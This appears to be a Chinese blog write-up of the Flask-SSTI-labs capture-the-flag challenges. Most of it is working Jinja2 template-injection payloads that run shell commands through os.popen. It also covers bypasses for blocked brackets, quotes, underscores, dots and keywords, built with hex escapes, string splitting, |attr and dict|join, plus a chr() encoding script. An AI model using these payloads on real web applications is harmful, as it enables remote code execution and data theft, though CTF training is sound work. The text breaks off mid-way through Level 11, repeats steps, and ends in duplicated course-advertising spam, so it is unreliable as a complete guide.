文章目录
- CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记
-
- 前记
- Level 1 no waf
- Level 2 bl[‘{{’]
- Level 3 no waf and blind
- Level 4 bl[‘[’, ‘]’]
- Level 5 bl[‘’', ‘"’]
- Level 6 bl[‘_’]
- Level 7 bl[‘.’]
- Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
- Level 9 bl[‘0-9’]
- Level 10 set config = None
- Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
- Level 12 bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]
- Level 13 bl[‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]
- 前记
- 总结
前记
搭建环境
建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用
以下题目我用简洁的payload 绕过{{lipsum.__globals__['os'].popen('ls').read()}}
其中lipsum为 flask框架 内置函数 通用
以下内容熟记 (因为绕过本质无非是换种形式表达相同的含义)
获取键值或下标的方式
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
获取属性的方式
().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")
Level 1 no waf
{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}
Level 2 bl[‘{{’]
{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
\##可以有和{%%}相同的效果
{{}} 等价于 {%print%}
Level 3 no waf and blind
盲注
第一 判断出不出网
{{lipsum.__globals__['os'].popen('ls').read()}}
发现不出网
尝试写静态文件 请先了解 flask 静态目录概念
{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}
成功写入static静态目录
读取flag
{{lipsum.__globals__['os'].popen('echo
cat /app/flag >/app/static/1.txt').read()}}
Level 4 bl[‘[’, ‘]’]
{{lipsum.__globals__['os'].popen('ls').read()}}
获取键值或下标
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
替换一下
{{lipsum.__globals__.get('os').popen('ls').read()}}
Level 5 bl[‘’', ‘"’]
过滤引号
{{lipsum.__globals__['os'].popen('ls').read()}}
完全可以替换为 request.args.参数名(get方式)
{{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}
Level 6 bl[‘_’]
{{lipsum.__globals__['os'].popen('ls').read()}}
可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}
Level 7 bl[‘.’]
{{lipsum.__globals__['os'].popen('ls').read()}}
用[] 代替 . 其他方法 参考 获取属性的四种方法
{{lipsum['__globals__']['os']['popen']('ls')['read']()}}
Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
过滤了很多关键词
{{lipsum.__globals__['os'].popen('ls').read()}}
编码绕过和拼接不能同时使用 试错报错
{{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}
Level 9 bl[‘0-9’]
{{lipsum.__globals__['os'].popen('ls').read()}}
我们没用 数字
Level 10 set config = None
通过 current_app
取config
{{url_for.__globals__['current_app'].config}}
Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
ban 了 ' " request'
思考如何返回字符串?
通过过滤器 | join 返回变量
ban 了 . []
如何取属性 ?
通过 |attr()
如何取键值 ?
通过 __getitem__('key')
然后用 {%set %}拼接
{{lipsum.__globals__['os'].popen('ls').read()}}
{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}
b.构造os
{%set b=dict(o=a,s=a)|join%}
c.构造popen
{%set c=dict(po=a,pen=a)|join%}
cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}
d.构造read
{%set d=dict(re=a.ad=a)|join%}
e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%}
f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}
g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
就是
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
如果我们读flag 目录路径有 空格+ 斜杠 如何处理?
取['__builtins__']['chr']
函数 用ascii表 转换为字符
原payload:{{lipsum.__globals__['__builtins__']['chr']}}
附字符转chr脚本 记下 32 为空格 47为斜杠
i= input("输入字符串:")
flag=""
for c in i:
c= ord(c)
b="chr(%d)" %(c)
flag +=b+'%2b'
print(flag[0:-3:1])
修改payload
构造细节
{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}
b.构造os
{%set b=dict(o=a,s=a)|join%}
c.构造popen
{%set c=dict(po=a,pen=a)|join%}
cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}
d.构造read
{%set d=dict(re=a,ad=a)|join%}
e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%}
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**
![img](https://img-blog.csdnimg.cn/img_convert/4a369b7b12282ca75be9f839ba7495c0.png)
![img](https://img-blog.csdnimg.cn/img_convert/6a3cd948039b95f99b07e59f17256af2.png)
![img](https://img-blog.csdnimg.cn/img_convert/46506ae54be168b93cf63939786134ca.png)
![img](https://img-blog.csdnimg.cn/img_convert/252731a671c1fb70aad5355a2c5eeff0.png)
![img](https://img-blog.csdnimg.cn/img_convert/6c361282296f86381401c05e862fe4e9.png)
![img](https://img-blog.csdnimg.cn/img_convert/9f49b566129f47b8a67243c1008edf79.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)**
convert/252731a671c1fb70aad5355a2c5eeff0.png)
![img](https://img-blog.csdnimg.cn/img_convert/6c361282296f86381401c05e862fe4e9.png)
![img](https://img-blog.csdnimg.cn/img_convert/9f49b566129f47b8a67243c1008edf79.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)**
<img src="https://img-community.csdnimg.cn/images/fd6ebf0d450a4dbea7428752dc7ffd34.jpg" alt="img" style="zoom:50%;" />